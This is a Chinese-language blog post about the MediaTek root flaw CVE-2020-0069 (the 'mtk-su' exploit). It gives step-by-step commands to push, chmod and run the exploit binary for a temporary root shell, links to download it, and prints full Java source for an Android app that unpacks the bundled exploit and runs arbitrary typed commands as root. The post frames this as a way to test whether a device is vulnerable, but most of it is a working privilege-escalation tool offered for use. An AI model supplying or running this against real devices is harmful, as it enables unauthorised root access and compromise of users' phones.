本文章主要分兩部分
1.漏洞說明
2.Android端測試應用和工具,用於測試機型是否受到影響
谷歌在2020年3月的Android安全公告中提到,新更新已經提供了CVE-2020-0069補丁來解決針對聯發科芯片的一個嚴重安全漏洞。
這個漏洞是利用MTK平臺上一個驅動產生的,可以以root用戶運行命令。
https://www.xda-developers.com/mediatek-su-rootkit-exploit/ 原作者發佈地址
我的csdn資源鏈接,https://download.csdn.net/download/OneT1me/12523755 免積分
使用方法
To get a temporary privileged shell:
1. Push mtk-su to /data/local/tmp
2. Give exec permissions to mtk-su
3. Run ./mtk-su
使用方式翻譯和解釋 add by https://blog.csdn.net/OneT1me
1.使用adb命令,將文件push到/data/local/tmp 目錄下
2.給這個文件雲心權限,具體是chmod +x mtk-su
3.運行mtk-su ./mtk-su
4.如果shell變成#則說明成功
注意,這個適用於mtk的32位及64位系統,如果安卓系統的安全補丁時間在2020年3月份之後的無法生效,谷歌已經推送安全更新修復該問題,或者系統定製廠商拿的rom版本是mtk在2019年4月份之後釋放的也無法使用已經修復
同時我也上傳到了我的CSDN,可以去這裏下載 https://download.csdn.net/download/OneT1me/12523755
2.Android端測試工具
直接寫了
也可以在以下兩個鏈接中獲取
我的github: https://github.com/binwu/MtkSuTest 源碼
我的csdn資源 https://download.csdn.net/download/OneT1me/12524171 APK文件
以下是界面代碼
MainActivity.java
public class MainActivity extends AppCompatActivity implements View.OnClickListener, MtkSuTool.CommandResultCallback {
private Button bt_release_64, bt_release_32, bt_run;
private EditText et_cmd;
private TextView tv_result;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
MtkSuTool.getInstance(this).releaseSu(R.raw.mtksu);//default release 32bit file
initView();
MtkSuTool.getInstance(this).regCallBack(this);
}
private void initView() {
bt_release_32 = findViewById(R.id.bt_release_32);
bt_release_64 = findViewById(R.id.bt_release_64);
bt_run = findViewById(R.id.bt_run);
et_cmd = findViewById(R.id.et_cmd);
tv_result = findViewById(R.id.tv_result);
bt_release_32.setOnClickListener(this);
bt_release_64.setOnClickListener(this);
bt_run.setOnClickListener(this);
}
@Override
public void onClick(View v) {
int id = v.getId();
switch (id) {
case R.id.bt_release_32:
MtkSuTool.getInstance(this).releaseSu(R.raw.mtksu);
break;
case R.id.bt_release_64:
MtkSuTool.getInstance(this).releaseSu(R.raw.mtksu64);
break;
case R.id.bt_run:
MtkSuTool.getInstance(this).runExec(et_cmd.getText().toString());
break;
}
}
@Override
public void onResult(final String result) {
runOnUiThread(new Runnable() {
@Override
public void run() {
tv_result.setText(tv_result.getText() + "\n" + result);
}
});
}
}
MtkSuTool.java
public class MtkSuTool {
private static final String TAG = "SuTool";
private static String RELEASE_DIR_PATH = "/data/local/tmp";
private static String RELEASE_FILE_PATH = RELEASE_DIR_PATH + "/su";
private static Context mContext;
private static MtkSuTool suTool;
private WeakReference<CommandResultCallback> weakReferenceCommandResultCallback;
private MtkSuTool(Context context) {
this.mContext = context;
RELEASE_DIR_PATH = context.getFilesDir().getAbsolutePath();
RELEASE_FILE_PATH = RELEASE_DIR_PATH + "/su";
}
public static MtkSuTool getInstance(Context context) {
if (suTool == null) {
suTool = new MtkSuTool(context);
}
return suTool;
}
public void regCallBack(CommandResultCallback commandResultCallback) {
weakReferenceCommandResultCallback = new WeakReference<>(commandResultCallback);
}
//釋放su文件
public boolean releaseSu(int res_mtk) {
try {
InputStream inputStream = mContext.getResources().openRawResource(res_mtk);
if (inputStream == null) {
Log.e(TAG, "releaseSu: inputStream null");
return false;
}
File file = new File(RELEASE_FILE_PATH);
if (file.exists()) {
file.delete();
}
file.createNewFile();
OutputStream outputStream = new FileOutputStream(file);
byte[] buffer = new byte[8 * 1024];
int length = -1;
while ((length = inputStream.read(buffer)) != -1) {
byte[] b = new byte[length];
System.arraycopy(buffer, 0, b, 0, length);
outputStream.write(b);
outputStream.flush();
}
outputStream.close();
inputStream.close();
Runtime.getRuntime().exec("chmod +x " + RELEASE_FILE_PATH);
return true;
} catch (Exception e) {
e.printStackTrace();
return false;
}
}
public void runExec(String cmd) {
try {
Process process = Runtime.getRuntime().exec("./" + RELEASE_FILE_PATH + " -c " + cmd);
new ReadThread(process.getInputStream(), "read").start();
} catch (IOException e) {
e.printStackTrace();
}
}
class ReadThread extends Thread {
InputStream inputStream;
String name = "None Name";
public ReadThread(InputStream inputStream, String name) {
this.inputStream = inputStream;
this.name = name;
}
@Override
public void run() {
super.run();
try {
byte[] buffer = new byte[1024 * 8];
int length = 0;
while (true) {
while ((length = inputStream.read(buffer)) != -1) {
byte[] tmp = new byte[length];
System.arraycopy(buffer, 0, tmp, 0, length);
Log.i(TAG, "run: " + new String((tmp)));
if (weakReferenceCommandResultCallback != null && weakReferenceCommandResultCallback.get() != null) {
weakReferenceCommandResultCallback.get().onResult(new String(tmp));
}
buffer = new byte[1024 * 8];
}
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
public interface CommandResultCallback {
void onResult(String result);
}
}
以上